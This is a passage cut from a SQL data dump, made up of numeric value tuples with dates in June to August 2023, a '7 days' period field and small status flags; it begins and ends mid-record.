days',1),(73611,21631,13846,13949,1749,996,'2023-06-26','7 days',1),(73612,21432,13873,13973,1749,996,'2023-06-27','7 days',0),(73613,21431,13873,13973,1749,996,'2023-06-27','7 days',0),(73614,21430,13873,13973,1749,996,'2023-06-27','7 days',0),(73615,21429,13873,13973,1749,996,'2023-06-27','7 days',0),(73616,21428,13873,13973,1749,996,'2023-06-27','7 days',0),(73617,21417,13872,13972,1750,996,'2023-06-27','7 days',0),(73618,21406,13872,13972,1750,996,'2023-06-27','7 days',0),(73619,21631,13873,13973,1749,996,'2023-06-27','7 days',1),(73620,21384,13847,13950,1406,971,'2023-06-28','7 days',0),(73621,21383,13847,13950,1406,971,'2023-06-28','7 days',2),(73622,21382,13847,13950,1406,971,'2023-06-28','7 days',0),(73623,21381,13847,13950,1406,971,'2023-06-28','7 days',0),(73624,21375,13847,13950,1406,971,'2023-06-28','7 days',0),(73625,16277,13847,13950,1406,971,'2023-06-28','7 days',0),(73626,16276,13847,13950,1406,971,'2023-06-28','7 days',0),(73627,16139,13847,13950,1406,971,'2023-06-28','7 days',1),(73628,12739,13847,13950,1406,971,'2023-06-28','7 days',0),(73629,11698,13847,13950,1406,971,'2023-06-28','7 days',0),(73630,11456,13847,13950,1406,971,'2023-06-28','7 days',0),(73631,11126,13847,13950,1406,971,'2023-06-28','7 days',0),(73632,10978,13847,13950,1406,971,'2023-06-28','7 days',0),(73633,10967,13847,13950,1406,971,'2023-06-28','7 days',0),(73634,10965,13847,13950,1406,971,'2023-06-28','7 days',0),(73635,10964,13847,13950,1406,971,'2023-06-28','7 days',0),(73636,10963,13847,13950,1406,971,'2023-06-28','7 days',0),(73637,21389,13847,13950,1406,971,'2023-06-28','7 days',0),(73638,21365,13847,13950,1406,971,'2023-06-28','7 days',0),(73639,12274,13889,13987,1781,91,'2023-07-03','7 days',2),(73640,12273,13889,13987,1781,91,'2023-07-03','7 days',0),(73641,12264,13889,13987,1781,91,'2023-07-03','7 days',0),(73642,12263,13889,13987,1781,91,'2023-07-03','7 days',0),(73643,9159,13892,13679,1781,91,'2023-07-03','7 days',0),(73644,9155,13892,13679,1781,91,'2023-07-03','7 days',0),(73645,7213,13892,13679,1781,91,'2023-07-03','7 days',0),(73646,7212,13892,13679,1781,91,'2023-07-03','7 days',0),(73647,645,13890,13988,161,73,'2023-07-03','7 days',0),(73648,21568,13890,13988,161,73,'2023-07-03','7 days',0),(73649,21529,13890,13988,161,73,'2023-07-03','7 days',1),(73650,21377,13890,13988,161,73,'2023-07-03','7 days',2),(73651,21378,13890,13988,161,73,'2023-07-03','7 days',1),(73652,659,13890,13988,161,73,'2023-07-03','7 days',0),(73653,21672,13890,13988,161,73,'2023-07-03','7 days',0),(73654,12531,13878,13978,194,45,'2023-07-05','7 days',1),(73655,11714,13878,13978,194,45,'2023-07-05','7 days',1),(73656,21408,13886,13955,192,45,'2023-07-05','7 days',0),(73657,21374,13886,13955,192,45,'2023-07-05','7 days',1),(73658,21374,13887,13985,193,45,'2023-07-05','7 days',1),(73659,14534,13887,13985,193,45,'2023-07-05','7 days',1),(73660,14534,13893,13985,191,45,'2023-07-05','7 days',1),(73661,11714,13893,13985,191,45,'2023-07-05','7 days',1),(73662,11714,13894,13978,191,45,'2023-07-05','7 days',1),(73663,10976,13894,13978,191,45,'2023-07-05','7 days',1),(73664,11714,13895,13937,194,45,'2023-07-05','7 days',1),(73665,10976,13895,13937,194,45,'2023-07-05','7 days',1),(73666,20438,13861,13963,1664,277,'2023-07-06','7 days',0),(73667,20437,13861,13963,1664,277,'2023-07-06','7 days',0),(73668,20436,13861,13963,1664,277,'2023-07-06','7 days',0),(73669,20435,13861,13963,1664,277,'2023-07-06','7 days',0),(73670,20434,13861,13963,1664,277,'2023-07-06','7 days',0),(73671,20433,13861,13963,1664,277,'2023-07-06','7 days',0),(73672,20432,13861,13963,1664,277,'2023-07-06','7 days',0),(73673,20431,13861,13963,1664,277,'2023-07-06','7 days',0),(73674,20430,13861,13963,1664,277,'2023-07-06','7 days',0),(73675,20429,13861,13963,1664,277,'2023-07-06','7 days',0),(73676,20428,13861,13963,1664,277,'2023-07-06','7 days',0),(73677,20427,13861,13963,1664,277,'2023-07-06','7 days',0),(73678,20426,13861,13963,1664,277,'2023-07-06','7 days',0),(73679,20425,13861,13963,1664,277,'2023-07-06','7 days',0),(73680,20424,13861,13963,1664,277,'2023-07-06','7 days',0),(73681,20423,13861,13963,1664,277,'2023-07-06','7 days',0),(73682,20422,13861,13963,1664,277,'2023-07-06','7 days',1),(73683,20421,13861,13963,1664,277,'2023-07-06','7 days',2),(73684,20420,13861,13963,1664,277,'2023-07-06','7 days',0),(73685,20419,13861,13963,1664,277,'2023-07-06','7 days',1),(73686,20671,13867,13963,1668,277,'2023-07-06','7 days',0),(73687,20414,13867,13963,1668,277,'2023-07-06','7 days',0),(73688,20413,13867,13963,1668,277,'2023-07-06','7 days',0),(73689,20412,13867,13963,1668,277,'2023-07-06','7 days',0),(73690,20411,13867,13963,1668,277,'2023-07-06','7 days',0),(73691,20410,13867,13963,1668,277,'2023-07-06','7 days',0),(73692,20409,13867,13963,1668,277,'2023-07-06','7 days',0),(73693,20408,13867,13963,1668,277,'2023-07-06','7 days',0),(73694,20407,13867,13963,1668,277,'2023-07-06','7 days',0),(73695,20406,13867,13963,1668,277,'2023-07-06','7 days',0),(73696,20405,13867,13963,1668,277,'2023-07-06','7 days',0),(73697,20404,13867,13963,1668,277,'2023-07-06','7 days',0),(73698,20403,13867,13963,1668,277,'2023-07-06','7 days',0),(73699,20402,13867,13963,1668,277,'2023-07-06','7 days',0),(73700,20401,13867,13963,1668,277,'2023-07-06','7 days',0),(73701,20400,13867,13963,1668,277,'2023-07-06','7 days',0),(73702,20399,13867,13963,1668,277,'2023-07-06','7 days',0),(73703,20398,13867,13963,1668,277,'2023-07-06','7 days',0),(73704,20397,13867,13963,1668,277,'2023-07-06','7 days',0),(73705,20396,13867,13963,1668,277,'2023-07-06','7 days',0),(73706,20395,13867,13963,1668,277,'2023-07-06','7 days',1),(73707,17682,13868,13963,1789,277,'2023-07-06','7 days',0),(73708,17681,13868,13963,1789,277,'2023-07-06','7 days',2),(73709,15861,13868,13963,1789,277,'2023-07-06','7 days',0),(73710,15860,13868,13963,1789,277,'2023-07-06','7 days',0),(73711,15859,13868,13963,1789,277,'2023-07-06','7 days',0),(73712,15858,13868,13963,1789,277,'2023-07-06','7 days',0),(73713,15857,13868,13963,1789,277,'2023-07-06','7 days',0),(73714,15856,13868,13963,1789,277,'2023-07-06','7 days',0),(73715,15855,13868,13963,1789,277,'2023-07-06','7 days',0),(73716,15854,13868,13963,1789,277,'2023-07-06','7 days',0),(73717,15746,13868,13963,1789,277,'2023-07-06','7 days',1),(73718,13354,13868,13963,1789,277,'2023-07-06','7 days',0),(73719,12971,13868,13963,1789,277,'2023-07-06','7 days',0),(73720,12027,13868,13963,1789,277,'2023-07-06','7 days',0),(73721,12026,13868,13963,1789,277,'2023-07-06','7 days',0),(73722,12025,13868,13963,1789,277,'2023-07-06','7 days',0),(73723,12024,13868,13963,1789,277,'2023-07-06','7 days',0),(73724,12023,13868,13963,1789,277,'2023-07-06','7 days',0),(73725,12022,13868,13963,1789,277,'2023-07-06','7 days',0),(73726,12021,13868,13963,1789,277,'2023-07-06','7 days',0),(73727,12020,13868,13963,1789,277,'2023-07-06','7 days',0),(73728,12019,13868,13963,1789,277,'2023-07-06','7 days',1),(73729,12018,13868,13963,1789,277,'2023-07-06','7 days',0),(73730,12017,13868,13963,1789,277,'2023-07-06','7 days',0),(73731,11844,13868,13963,1789,277,'2023-07-06','7 days',0),(73732,11659,13868,13963,1789,277,'2023-07-06','7 days',0),(73733,11450,13868,13963,1789,277,'2023-07-06','7 days',0),(73734,11449,13868,13963,1789,277,'2023-07-06','7 days',0),(73735,11448,13868,13963,1789,277,'2023-07-06','7 days',0),(73736,11447,13868,13963,1789,277,'2023-07-06','7 days',0),(73737,11439,13868,13963,1789,277,'2023-07-06','7 days',0),(73738,9911,13868,13963,1789,277,'2023-07-06','7 days',0),(73739,9910,13868,13963,1789,277,'2023-07-06','7 days',0),(73740,9909,13868,13963,1789,277,'2023-07-06','7 days',0),(73741,9908,13868,13963,1789,277,'2023-07-06','7 days',0),(73742,9907,13868,13963,1789,277,'2023-07-06','7 days',0),(73743,9906,13868,13963,1789,277,'2023-07-06','7 days',0),(73744,9905,13868,13963,1789,277,'2023-07-06','7 days',2),(73745,9904,13868,13963,1789,277,'2023-07-06','7 days',0),(73746,9903,13868,13963,1789,277,'2023-07-06','7 days',0),(73747,9902,13868,13963,1789,277,'2023-07-06','7 days',0),(73748,9901,13868,13963,1789,277,'2023-07-06','7 days',0),(73749,9900,13868,13963,1789,277,'2023-07-06','7 days',0),(73750,9899,13868,13963,1789,277,'2023-07-06','7 days',0),(73751,9898,13868,13963,1789,277,'2023-07-06','7 days',0),(73752,9897,13868,13963,1789,277,'2023-07-06','7 days',1),(73753,8590,13868,13963,1789,277,'2023-07-06','7 days',0),(73754,21395,13861,13963,1664,277,'2023-07-06','7 days',0),(73755,9159,13899,13992,1452,91,'2023-07-10','7 days',0),(73756,9155,13899,13992,1452,91,'2023-07-10','7 days',0),(73757,7213,13899,13992,1452,91,'2023-07-10','7 days',0),(73758,7212,13899,13992,1452,91,'2023-07-10','7 days',0),(73759,21547,13899,13992,1452,91,'2023-07-10','7 days',1),(73760,7308,13899,13992,1452,91,'2023-07-10','7 days',2),(73761,7307,13899,13992,1452,91,'2023-07-10','7 days',0),(73762,7306,13899,13992,1452,91,'2023-07-10','7 days',0),(73763,7305,13899,13992,1452,91,'2023-07-10','7 days',0),(73764,7304,13899,13992,1452,91,'2023-07-10','7 days',0),(73765,7303,13899,13992,1452,91,'2023-07-10','7 days',0),(73766,7147,13899,13992,1452,91,'2023-07-10','7 days',0),(73767,7146,13899,13992,1452,91,'2023-07-10','7 days',0),(73768,7145,13899,13992,1452,91,'2023-07-10','7 days',0),(73769,7143,13899,13992,1452,91,'2023-07-10','7 days',0),(73770,7142,13899,13992,1452,91,'2023-07-10','7 days',0),(73771,7140,13899,13992,1452,91,'2023-07-10','7 days',0),(73772,7138,13899,13992,1452,91,'2023-07-10','7 days',0),(73773,7137,13899,13992,1452,91,'2023-07-10','7 days',0),(73774,12531,13898,13991,192,45,'2023-07-12','7 days',1),(73775,11715,13898,13991,192,45,'2023-07-12','7 days',1),(73776,10975,13898,13991,192,45,'2023-07-12','7 days',1),(73777,12532,13929,14023,194,45,'2023-07-21','7 days',1),(73778,11715,13929,14023,194,45,'2023-07-21','7 days',1),(73779,11714,13929,14023,194,45,'2023-07-21','7 days',1),(73780,14534,13950,14031,195,45,'2023-07-21','7 days',1),(73781,5467,13950,14031,195,45,'2023-07-21','7 days',1),(73782,11715,13953,14032,188,45,'2023-07-21','7 days',1),(73783,10976,13953,14032,188,45,'2023-07-21','7 days',1),(73784,6243,13961,13043,1408,86,'2023-07-24','7 days',0),(73785,6241,13961,13043,1408,86,'2023-07-24','7 days',0),(73786,21534,13961,13043,1408,86,'2023-07-24','7 days',0),(73787,21528,13961,13043,1408,86,'2023-07-24','7 days',1),(73788,21364,13961,13043,1408,86,'2023-07-24','7 days',0),(73789,21363,13961,13043,1408,86,'2023-07-24','7 days',0),(73790,21362,13961,13043,1408,86,'2023-07-24','7 days',2),(73791,21361,13961,13043,1408,86,'2023-07-26','7 days',0),(73792,21360,13961,13043,1408,86,'2023-07-26','7 days',2),(73793,21359,13961,13043,1408,86,'2023-07-26','7 days',0),(73794,21358,13961,13043,1408,86,'2023-07-26','7 days',0),(73795,21357,13961,13043,1408,86,'2023-07-26','7 days',0),(73796,21676,13559,13699,358,251,'2023-07-26','7 days',1),(73797,9117,13559,13699,358,251,'2023-07-26','7 days',0),(73798,9116,13559,13699,358,251,'2023-07-26','7 days',0),(73799,9115,13559,13699,358,251,'2023-07-26','7 days',0),(73800,9114,13559,13699,358,251,'2023-07-26','7 days',0),(73801,9113,13559,13699,358,251,'2023-07-26','7 days',0),(73802,9112,13559,13699,358,251,'2023-07-26','7 days',0),(73803,9054,13559,13699,358,251,'2023-07-26','7 days',0),(73804,9053,13559,13699,358,251,'2023-07-26','7 days',0),(73805,9052,13559,13699,358,251,'2023-07-26','7 days',0),(73806,9051,13559,13699,358,251,'2023-07-26','7 days',0),(73807,9050,13559,13699,358,251,'2023-07-26','7 days',0),(73808,9049,13559,13699,358,251,'2023-07-26','7 days',0),(73809,9048,13559,13699,358,251,'2023-07-26','7 days',0),(73810,9047,13559,13699,358,251,'2023-07-26','7 days',0),(73811,9046,13559,13699,358,251,'2023-07-26','7 days',0),(73812,9045,13559,13699,358,251,'2023-07-26','7 days',0),(73813,9044,13559,13699,358,251,'2023-07-26','7 days',0),(73814,9043,13559,13699,358,251,'2023-07-26','7 days',0),(73815,9042,13559,13699,358,251,'2023-07-26','7 days',0),(73816,9041,13559,13699,358,251,'2023-07-26','7 days',0),(73817,9040,13559,13699,358,251,'2023-07-26','7 days',0),(73818,9039,13559,13699,358,251,'2023-07-26','7 days',0),(73819,9038,13559,13699,358,251,'2023-07-26','7 days',0),(73820,9037,13559,13699,358,251,'2023-07-26','7 days',0),(73821,9036,13559,13699,358,251,'2023-07-26','7 days',0),(73822,9035,13559,13699,358,251,'2023-07-26','7 days',0),(73823,20667,13961,13043,1408,86,'2023-07-27','7 days',0),(73824,18980,13961,13043,1408,86,'2023-07-27','7 days',0),(73825,18979,13961,13043,1408,86,'2023-07-27','7 days',0),(73826,18978,13961,13043,1408,86,'2023-07-27','7 days',0),(73827,18977,13961,13043,1408,86,'2023-07-27','7 days',0),(73828,15496,13961,13043,1408,86,'2023-07-28','7 days',0),(73829,15015,13961,13043,1408,86,'2023-07-28','7 days',0),(73830,15014,13961,13043,1408,86,'2023-07-28','7 days',0),(73831,14912,13961,13043,1408,86,'2023-07-28','7 days',0),(73832,14908,13961,13043,1408,86,'2023-07-28','7 days',0),(73833,21378,13971,14049,162,73,'2023-07-28','7 days',1),(73834,21529,13971,14049,162,73,'2023-07-28','7 days',0),(73835,21568,13971,14049,162,73,'2023-07-28','7 days',0),(73836,21672,13971,14049,162,73,'2023-07-28','7 days',0),(73837,21677,2932,3818,195,45,'2023-07-28','7 days',1),(73838,17214,13981,14059,1324,959,'2023-07-28','7 days',0),(73839,10251,13981,14059,1324,959,'2023-07-28','7 days',2),(73840,10212,13981,14059,1324,959,'2023-07-28','7 days',0),(73841,10211,13981,14059,1324,959,'2023-07-28','7 days',0),(73842,21671,13981,14059,1324,959,'2023-07-28','7 days',1),(73843,21670,13981,14059,1324,959,'2023-07-28','7 days',0),(73844,21669,13981,14059,1324,959,'2023-07-28','7 days',0),(73845,21668,13981,14059,1324,959,'2023-07-28','7 days',0),(73846,21667,13981,14059,1324,959,'2023-07-28','7 days',0),(73847,21666,13981,14059,1324,959,'2023-07-28','7 days',1),(73848,21665,13981,14059,1324,959,'2023-07-28','7 days',0),(73849,21664,13981,14059,1324,959,'2023-07-28','7 days',0),(73850,21663,13981,14059,1324,959,'2023-07-28','7 days',0),(73851,21662,13981,14059,1324,959,'2023-07-28','7 days',2),(73852,21661,13981,14059,1324,959,'2023-07-28','7 days',0),(73853,21660,13981,14059,1324,959,'2023-07-28','7 days',0),(73854,21659,13981,14059,1324,959,'2023-07-28','7 days',0),(73855,21658,13981,14059,1324,959,'2023-07-28','7 days',0),(73856,21657,13981,14059,1324,959,'2023-07-28','7 days',0),(73857,21629,13981,14059,1324,959,'2023-07-28','7 days',0),(73858,17212,13981,14059,1324,959,'2023-07-28','7 days',0),(73859,17204,13981,14059,1324,959,'2023-07-28','7 days',0),(73860,15747,13981,14059,1324,959,'2023-07-28','7 days',0),(73861,21506,13981,14059,1324,959,'2023-07-28','7 days',0),(73862,21486,13981,14059,1324,959,'2023-07-28','7 days',0),(73863,17213,13981,14059,1324,959,'2023-07-28','7 days',0),(73864,17211,13981,14059,1324,959,'2023-07-28','7 days',0),(73865,14071,13981,14059,1324,959,'2023-07-28','7 days',0),(73866,17206,13981,14059,1324,959,'2023-07-28','7 days',0),(73867,17210,13981,14059,1324,959,'2023-07-28','7 days',2),(73868,17207,13981,14059,1324,959,'2023-07-28','7 days',0),(73869,17205,13981,14059,1324,959,'2023-07-28','7 days',0),(73870,21546,13981,14059,1324,959,'2023-07-28','7 days',0),(73871,21545,13981,14059,1324,959,'2023-07-28','7 days',0),(73872,17215,13981,14059,1324,959,'2023-07-28','7 days',0),(73873,17209,13981,14059,1324,959,'2023-07-28','7 days',0),(73874,17208,13981,14059,1324,959,'2023-07-28','7 days',0),(73875,10393,13981,14059,1324,959,'2023-07-28','7 days',0),(73876,17216,13981,14059,1324,959,'2023-07-28','7 days',0),(73877,13915,13981,14059,1324,959,'2023-07-28','7 days',0),(73878,13914,13981,14059,1324,959,'2023-07-28','7 days',0),(73879,21495,13967,14045,191,45,'2023-07-29','7 days',0),(73880,21494,13967,14045,191,45,'2023-07-29','7 days',1),(73881,21505,2932,3818,195,45,'2023-07-29','7 days',0),(73882,21504,2932,3818,195,45,'2023-07-29','7 days',0),(73883,21503,2932,3818,195,45,'2023-07-29','7 days',0),(73884,21502,2932,3818,195,45,'2023-07-29','7 days',0),(73885,21501,2932,3818,195,45,'2023-07-29','7 days',0),(73886,21500,2932,3818,195,45,'2023-07-29','7 days',0),(73887,21499,2932,3818,195,45,'2023-07-29','7 days',0),(73888,21498,2932,3818,195,45,'2023-07-29','7 days',0),(73889,20770,13961,13043,1408,86,'2023-07-31','7 days',0),(73890,20769,13961,13043,1408,86,'2023-07-31','7 days',0),(73891,20768,13961,13043,1408,86,'2023-07-31','7 days',0),(73892,20767,13961,13043,1408,86,'2023-07-31','7 days',0),(73893,20766,13961,13043,1408,86,'2023-07-31','7 days',0),(73894,21625,13983,14061,1732,667,'2023-07-31','7 days',0),(73895,21624,13983,14061,1732,667,'2023-07-31','7 days',0),(73896,21623,13983,14061,1732,667,'2023-07-31','7 days',0),(73897,21622,13983,14061,1732,667,'2023-07-31','7 days',0),(73898,21621,13983,14061,1732,667,'2023-07-31','7 days',0),(73899,21620,13983,14061,1732,667,'2023-07-31','7 days',0),(73900,21619,13983,14061,1732,667,'2023-07-31','7 days',0),(73901,21618,13983,14061,1732,667,'2023-07-31','7 days',0),(73902,21617,13983,14061,1732,667,'2023-07-31','7 days',0),(73903,21616,13983,14061,1732,667,'2023-07-31','7 days',0),(73904,21615,13983,14061,1732,667,'2023-07-31','7 days',0),(73905,21614,13983,14061,1732,667,'2023-07-31','7 days',1),(73906,21613,13983,14061,1732,667,'2023-07-31','7 days',0),(73907,21612,13983,14061,1732,667,'2023-07-31','7 days',0),(73908,21611,13983,14061,1732,667,'2023-07-31','7 days',0),(73909,21610,13983,14061,1732,667,'2023-07-31','7 days',0),(73910,21609,13983,14061,1732,667,'2023-07-31','7 days',0),(73911,21608,13983,14061,1732,667,'2023-07-31','7 days',0),(73912,21607,13983,14061,1732,667,'2023-07-31','7 days',0),(73913,21606,13983,14061,1732,667,'2023-07-31','7 days',0),(73914,21605,13983,14061,1732,667,'2023-07-31','7 days',0),(73915,21604,13983,14061,1732,667,'2023-07-31','7 days',0),(73916,21603,13983,14061,1732,667,'2023-07-31','7 days',0),(73917,21602,13983,14061,1732,667,'2023-07-31','7 days',0),(73918,17074,13984,14061,1732,667,'2023-08-01','7 days',0),(73919,15399,13984,14061,1732,667,'2023-08-01','7 days',0),(73920,15398,13984,14061,1732,667,'2023-08-01','7 days',0),(73921,15397,13984,14061,1732,667,'2023-08-01','7 days',0),(73922,15396,13984,14061,1732,667,'2023-08-01','7 days',0),(73923,15187,13984,14061,1732,667,'2023-08-01','7 days',0),(73924,15186,13984,14061,1732,667,'2023-08-01','7 days',0),(73925,15185,13984,14061,1732,667,'2023-08-01','7 days',0),(73926,15184,13984,14061,1732,667,'2023-08-01','7 days',0),(73927,15183,13984,14061,1732,667,'2023-08-01','7 days',1),(73928,15182,13984,14061,1732,667,'2023-08-01','7 days',0),(73929,15181,13984,14061,1732,667,'2023-08-01','7 days',0),(73930,15180,13984,14061,1732,667,'2023-08-01','7 days',0),(73931,15179,13984,14061,1732,667,'2023-08-01','7 days',0),(73932,15178,13984,14061,1732,667,'2023-08-01','7 days',0),(73933,15177,13984,14061,1732,667,'2023-08-01','7 days',0),(73934,15176,13984,14061,1732,667,'2023-08-01','7 days',0),(73935,14805,13984,14061,1732,667,'2023-08-01','7 days',0),(73936,14767,13984,14061,1732,667,'2023-08-01','7 days',0),(73937,14766,13984,14061,1732,667,'2023-08-01','7 days',0),(73938,14765,13984,14061,1732,667,'2023-08-01','7 days',0),(73939,14764,13984,14061,1732,667,'2023-08-01','7 days',2),(73940,21307,13971,14049,162,73,'2023-08-03','7 days',1),(73941,658,13971,14049,162,73,'2023-08-04','7 days',0),(73942,21377,13971,14049,162,73,'2023-08-04','7 days',1),(73943,8782,13971,14049,162,73,'2023-08-04','7 days',0),(73944,645,13971,14049,162,73,'2023-08-04','7 days',0),(73945,13225,13971,14049,162,73,'2023-08-04','7 days',1),(73946,11589,13971,14049,162,73,'2023-08-04','7 days',0),(73947,665,13971,14049,162,73,'2023-08-04','7 days',0),(73948,18933,13961,13043,1408,86,'2023-08-04','7 days',0),(73949,18913,13961,13043,1408,86,'2023-08-04','7 days',1),(73950,18292,13961,13043,1408,86,'2023-08-04','7 days',0),(73951,14913,13961,13043,1408,86,'2023-08-04','7 days',0),(73952,10807,13961,13043,1408,86,'2023-08-04','7 days',0),(73953,21408,13987,14064,192,45,'2023-08-08','7 days',0),(73954,21374,13987,14064,192,45,'2023-08-08','7 days',1),(73955,14534,13987,14064,192,45,'2023-08-08','7 days',1),(73956,14534,14006,14063,194,45,'2023-08-10','7 days',1),(73957,11715,14006,14063,194,45,'2023-08-10','7 days',1),(73958,11714,14012,14081,194,45,'2023-08-10','7 days',1),(73959,10976,14012,14081,194,45,'2023-08-10','7 days',1),(73960,10975,14012,14081,194,45,'2023-08-10','7 days',1),(73961,21408,14013,14082,194,45,'2023-08-10','7 days',0),(73962,21374,14013,14082,194,45,'2023-08-10','7 days',1),(73963,14534,14013,14082,194,45,'2023-08-10','7 days',1),(73964,17682,13917,14010,1670,277,'2023-08-11','7 days',0),(73965,17681,13917,14010,1670,277,'2023-08-11','7 days',2),(73966,15861,13917,14010,1670,277,'2023-08-11','7 days',0),(73967,15860,13917,14010,1670,277,'2023-08-11','7 days',0),(73968,15859,13917,14010,1670,277,'2023-08-11','7 days',0),(73969,15858,13917,14010,1670,277,'2023-08-11','7 days',0),(73970,15857,13917,14010,1670,277,'2023-08-14','7 days',0),(73971,15856,13917,14010,1670,277,'2023-08-14','7 days',0),(73972,15855,13917,14010,1670,277,'2023-08-14','7 days',0),(73973,15854,13917,14010,1670,277,'2023-08-14','7 days',0),(73974,15746,13917,14010,1670,277,'2023-08-14','7 days',1),(73975,13354,13917,14010,1670,277,'2023-08-14','7 days',0),(73976,12531,14021,14090,190,45,'2023-08-14','7 days',1),(73977,11714,14021,14090,190,45,'2023-08-14','7 days',1),(73978,10976,14021,14090,190,45,'2023-08-14','7 days',1),(73979,5467,14021,14090,190,45,'2023-08-14','7 days',1),(73980,14534,14014,14083,192,45,'2023-08-18','7 days',1),(73981,11714,14014,14083,192,45,'2023-08-18','7 days',1),(73982,21377,13962,14040,162,73,'2023-08-21','7 days',2),(73983,21529,13962,14040,162,73,'2023-08-21','7 days',0),(73984,21568,13962,14040,162,73,'2023-08-21','7 days',0),(73985,12532,14025,14083,194,45,'2023-08-24','7 days',1),(73986,11714,14025,14083,194,45,'2023-08-24','7 days',1),(73987,10975,14025,14083,194,45,'2023-08-24','7 days',1),(73988,1989,14025,14083,194,45,'2023-08-24','7 days',1),(73989,9154,13960,14039,1452,91,'2023-08-25','7 days',0),(73990,9135,13960,14039,1452,91,'2023-08-25','7 days',0),(73991,9134,13960,14039,1452,91,'2023-08-25','7 days',0),(73992,9133,13960,14039,1452,91,'2023-08-25','7 days',0),(73993,7287,13960,14039,1452,91,'2023-08-25','7 days',0),(73994,7286,13960,14039,1452,91,'2023-08-25','7 days',0),(73995,12274,13960,14039,1452,91,'2023-08-25','7 days',2),(73996,12273,13960,14039,1452,91,'2023-08-25','7 days',0),(73997,12264,13960,14039,1452,91,'2023-08-25','7 days',0),(73998,12263,13960,14039,1452,91,'2023-08-25','7 days',2),(73999,21375,14029,14096,1342,971,'2023-08-25','7 days',0),(74000,16277,14029,14096,1342,971,'2023-08-25','7 days',0),(74001,16276,14029,14096,1342,971,'2023-08-25','7 days',0),(74002,16139,14029,14096,1342,971,'2023-08-25','7 days',1),(74003,12739,14029,14096,1342,971,'2023-08-25','7 days',0),(74004,11698,14029,14096,1342,971,'2023-08-25','7 days',0),(74005,11456,14029,14096,1342,971,'2023-08-25','7 days',0),(74006,11126,14029,14096,1342,971,'2023-08-25','7 days',0),(74007,10978,14029,14096,1342,971,'2023-08-25','7 days',2),(74008,10967,14029,14096,1342,971,'2023-08-25','7 days',0),(74009,10966,14029,14096,1342,971,'2023-08-25','7 days',0),(74010,10965,14029,14096,1342,971,'2023-08-25','7 days',0),(74011,10964,14029,14096,1342,971,'2023-08-25','7 days',0),(74012,10963,14029,14096,1342,971,'2023-08-25','7 days',0),(74013,21470,14026,14095,194,45,'2023-08-29','7 days',1),(74014,10975,14027,14081,194,45,'2023-08-29','7 days',1),(74015,1989,14027,14081,194,45,'2023-08-29','7 days',1),(74016,21542,14028,14082,194,45,'2023-08-29','7 days',0),(74017,21541,14028,14082,194,45,'2023-08-29','7 days',1),(74018,11715,14030,14097,190,45,'2023-08-29','7 days',1),(74019,11714,14030,14097,190,45,'2023-08-29','7 days',1),(74020,21631,14041,14108,1749,996,'2023-08-29','7 days',0),(74021,21462,14041,14108,1749,996,'2023-08-29','7 days',0),(74022,21461,14041,14108,1749,996,'2023-08-29','7 days',0),(74023,21460,14041,14108,1749,996,'2023-08-29','7 days',0),(74024,21459,14041,14108,1749,996,'2023-08-29','7 days',0),(74025,21631,14040,14107,1749,996,'2023-08-29','7 days',0),(74026,21462,14040,14107,1749,996,'2023-08-29','7 days',0),(74027,21461,14040,14107,1749,996,'2023-08-29','7 days',0),(74028,21460,14040,14107,1749,996,'2023-08-29','7 days',0),(74029,21459,14040,14107,1749,996,'2023-08-29','7 days',0),(74030,21631,14039,14106,1749,996,'2023-08-29','7 days',0),(74031,21462,14039,14106,1749,996,'2023-08-29','7 days',0),(74032,21631,14038,14105,1749,996,'2023-08-29','7 days',0),(74033,21462,14038,14105,1749,996,'2023-08-29','7 days',0),(74034,21461,14038,14105,1749,996,'2023-08-29','7 days',0),(74035,21631,14037,14104,1749,996,'2023-08-29','7 days',0),(74036,21462,14037,14104,1749,996,'2023-08-29','7 days',0),(74037,21461,14037,14104,1749,996,'2023-08-29','7 days',0),(74038,21460,14037,14104,1749,996,'2023-08-29','7 days',0),(74039,21631,14036,14103,1749,996,'2023-08-29','7 days',0),(74040,21462,14036,14103,1749,996,'2023-08-29','7 days',0),(74041,21461,14036,14103,1749,996,'2023-08-29','7 days',0),(74042,21460,14036,14103,1749,996,'2023-08-29','7 days',0),(74043,21631,14032,14099,1749,996,'2023-08-29','7 days',0),(74044,21462,14032,14099,1749,996,'2023-08-29','7 days',0),(74045,21631,14035,14102,1749,996,'2023-08-29','7 days',0),(74046,21462,14035,14102,1749,996,'2023-08-29','7 days',0),(74047,21631,14034,14101,1749,996,'2023-08-29','7 days',0),(74048,21462,14034,14101,1749,996,'2023-08-29','7 days',0),(74049,21461,14034,14101,1749,996,'2023-08-29','7 days',0),(74050,21631,14033,14100,1749,996,'2023-08-29','7 days',0),(74051,21462,14033,14100,1749,996,'2023-08-29','7 days',0),(74052,21725,14032,14099,1749,996,'2023-08-30','7 days',0),(74053,21724,14032,14099,1749,996,'2023-08-30','7 days',0),(74054,21715,14033,14100,1749,996,'2023-08-30','7 days',0),(74055,21714,14033,14100,1749,996,'2023-08-30','7 days',0),(74056,21712,14034,14101,1749,996,'2023-08-30','7 days',0),(74057,21711,14034,14101,1749,996,'2023-08-30','7 days',0),(74058,21710,14034,14101,1749,996,'2023-08-30','7 days',0),(74059,21709,14035,14102,1749,996,'2023-08-30','7 days',0),(74060,21706,14036,14103,1749,996,'2023-08-30','7 days',0),(74061,21705,14036,14103,1749,996,'2023-08-30','7 days',0),(74062,21704,14036,14103,1749,996,'2023-08-30','7 days',0),(74063,21701,14037,14104,1749,996,'2023-08-30','7 days',0),(74064,21700,14037,14104,1749,996,'2023-08-30','7 days',0),(74065,21699,14037,14104,1749,996,'2023-08-30','7 days',0),(74066,21698,14037,14104,1749,996,'2023-08-30','7 days',0),(74067,21697,14038,14105,1749,996,'2023-08-30','7 days',0),(74068,21696,14038,14105,1749,996,'2023-08-30','7 days',0),(74069,21695,14038,14105,1749,996,'2023-08-30','7 days',0),(74070,21694,14038,14105,1749,996,'2023-08-30','7 days',0),(74071,21693,14039,14106,1749,996,'2023-08-30','7 days',0),(74072,21692,14039,14106,1749,996,'2023-08-30','7 days',0),(74073,21691,14039,14106,1749,996,'2023-08-30','7 days',0),(74074,21690,14039,14106,1749,996,'2023-08-30','7 days',0),(74075,21689,14039,14106,1749,996,'2023-08-30','7 days',0),(74076,21688,14039,14106,1749,996,'2023-08-30','7 days',0),(74077,21687,14040,14107,1749,996,'2023-08-30','7 days',0),(74078,21686,14040,14107,1749,996,'2023-08-30','7 days',0),(74079,21685,14040,14107,1749,996,'2023-08-30','7 days',0),(74080,21684,14040,14107,1749,996,'2023-08-30','7 days',0),(74081,21683,14040,14107,1749,996,'2023-08-30','7 days',0),(74082,21686,14041,14108,1749,996,'2023-08-30','7 